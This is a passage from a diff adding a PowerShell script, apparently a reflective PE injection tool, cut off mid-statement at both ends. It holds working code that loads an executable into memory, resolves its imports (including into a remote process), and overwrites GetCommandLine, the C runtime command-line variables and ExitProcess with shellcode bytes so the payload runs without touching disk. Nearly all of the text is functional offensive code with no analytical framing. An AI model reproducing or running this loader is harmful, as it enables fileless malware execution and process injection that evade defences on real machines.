Out-Null + $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null + } + } + } + + + Function Update-MemoryAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $OriginalImageBase, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + [Int64]$BaseDifference = 0 + $AddDifference = $true #Track if the difference variable should be added or subtracted from variables + [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) + + #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do + if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` + -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) + { + return + } + + + elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) + $AddDifference = $false + } + elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) + } + + #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified + [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) + while($true) + { + #If SizeOfBlock == 0, we are done + $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) + + if ($BaseRelocationTable.SizeOfBlock -eq 0) + { + break + } + + [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) + $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 + + #Loop through each relocation + for($i = 0; $i -lt $NumRelocations; $i++) + { + #Get info for this relocation + $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) + [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) + + #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase + [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF + [UInt16]$RelocType = $RelocationInfo -band 0xF000 + for ($j = 0; $j -lt 12; $j++) + { + $RelocType = [Math]::Floor($RelocType / 2) + } + + #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. + #This appears to be true for EXE's as well. + # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx + if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` + -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) + { + #Get the current memory address and update it based off the difference between PE expected base address and actual base address + [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) + [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) + + if ($AddDifference -eq $true) + { + [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + else + { + [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null + } + elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) + { + #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it + Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" + } + } + + $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) + } + } + + + Function Import-DllImports + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 4, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $RemoteLoading = $false + if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) + { + $RemoteLoading = $true + } + + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done importing DLL imports" + break + } + + $ImportDllHandle = [IntPtr]::Zero + $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + + if ($RemoteLoading -eq $true) + { + $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr + } + else + { + $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) + } + + if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) + { + throw "Error importing DLL, DLLName: $ImportDllPath" + } + + #Get the first thunk, then loop through all of them + [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + + while ($OriginalThunkRefVal -ne [IntPtr]::Zero) + { + $LoadByOrdinal = $false + [IntPtr]$ProcedureNamePtr = [IntPtr]::Zero + #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit + # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint + # and doing the comparison, just see if it is less than 0 + [IntPtr]$NewThunkRef = [IntPtr]::Zero + if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0) + { + [IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + $LoadByOrdinal = $true + } + elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0) + { + [IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + $LoadByOrdinal = $true + } + else + { + [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) + $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) + $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) + $ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName) + } + + if ($RemoteLoading -eq $true) + { + [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal + } + else + { + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr) + } + + if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) + { + if ($LoadByOrdinal) + { + Throw "New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath" + } + else + { + Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" + } + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) + + $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + + #Cleanup + #If loading by ordinal, ProcedureNamePtr is the ordinal value and not actually a pointer to a buffer that needs to be freed + if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero)) + { + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr) + $ProcedureNamePtr = [IntPtr]::Zero + } + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + } + + Function Get-VirtualProtectValue + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt32] + $SectionCharacteristics + ) + + $ProtectionFlag = 0x0 + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE + } + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_READONLY + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_NOACCESS + } + } + } + + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) + { + $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE + } + + return $ProtectionFlag + } + + Function Update-MemoryProtectionFlags + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) + + [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics + [UInt32]$SectionSize = $SectionHeader.VirtualSize + + [UInt32]$OldProtectFlag = 0 + Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null + $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Unable to change memory protection" + } + } + } + + #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE + #Returns an object with addresses to copies of the bytes that were overwritten (and the count) + Function Update-ExeFunctions + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [String] + $ExeArguments, + + [Parameter(Position = 4, Mandatory = $true)] + [IntPtr] + $ExeDoneBytePtr + ) + + #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. + $ReturnArray = @() + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + [UInt32]$OldProtectFlag = 0 + + [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") + if ($Kernel32Handle -eq [IntPtr]::Zero) + { + throw "Kernel32 handle null" + } + + [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") + if ($KernelBaseHandle -eq [IntPtr]::Zero) + { + throw "KernelBase handle null" + } + + ################################################# + #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it. + # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want. + $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + + [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") + [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") + + if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) + { + throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr)" + } + + #Prepare the shellcode + [Byte[]]$Shellcode1 = @() + if ($PtrSize -eq 8) + { + $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8 + } + $Shellcode1 += 0xb8 + + [Byte[]]$Shellcode2 = @(0xc3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + + #Make copy of GetCommandLineA and GetCommandLineW + $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null + $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) + $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) + + #Overwrite GetCommandLineA + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineAAddrTemp = $GetCommandLineAAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + + + #Overwrite GetCommandLineW + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineWAddrTemp = $GetCommandLineWAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + ################################################# + + ################################################# + #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. + # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. + # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the + # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported. + $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` + , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") + + foreach ($Dll in $DllList) + { + [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) + if ($DllHandle -ne [IntPtr]::Zero) + { + [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") + [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") + if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) + { + "Error, couldn't find _wcmdln or _acmdln" + } + + $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + + #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state + $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) + $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) + $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) + $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) + $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) + + $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + + $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + } + } + ################################################# + + ################################################# + #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. + + $ReturnArray = @() + $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process + + #CorExitProcess (compiled in to visual studio c++) + [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") + if ($MscoreeHandle -eq [IntPtr]::Zero) + { + throw "mscoree handle null" + } + [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") + if ($CorExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "CorExitProcess address not found" + } + $ExitFunctions += $CorExitProcessAddr + + #ExitProcess (what non-managed programs use) + [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") + if ($ExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "ExitProcess address not found" + } + $ExitFunctions += $ExitProcessAddr + + [UInt32]$OldProtectFlag = 0 + foreach ($ProcExitFunctionAddr in $ExitFunctions) + { + $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr + #The following is the shellcode (Shellcode: ExitThread.asm): + #32bit shellcode + [Byte[]]$Shellcode1 = @(0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) + #64bit shellcode (Shellcode: ExitThread.asm) + if ($PtrSize -eq 8) + { + [Byte[]]$Shellcode1 = @(0x48, 0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) + } + [Byte[]]$Shellcode3 = @(0xff, 0xd3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length + + [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") + if ($ExitThreadAddr -eq [IntPtr]::Zero) + { + Throw "ExitThread address not found" + } + + $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + #Make copy of original ExitProcess bytes + $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) + + #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then + # call ExitThread + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp + + $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + ################################################# + + Write-Output $ReturnArray + } + + #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) + # It copies Count bytes from Source to Destination. + Function Copy-ArrayOfMemAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Array[]] + $CopyInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [UInt32]$OldProtectFlag = 0 + foreach ($Info in $CopyInfo) + { + $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null + + $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + } + + + ##################################### + ########## FUNCTIONS ########### + ##################################### + Function Get-MemoryProcAddress + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $FunctionName + ) + + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Get the export table + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) + { + return [IntPtr]::Zero + } + $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) + $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) + + for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) + { + #AddressOfNames is an array of pointers to strings of the names of the functions exported + $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) + $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) + + if ($Name -ceq $FunctionName) + { + #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions + # which contains the offset of the function in to the DLL + $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) + $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) + $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) + return Add-SignedIntAsUnsigned 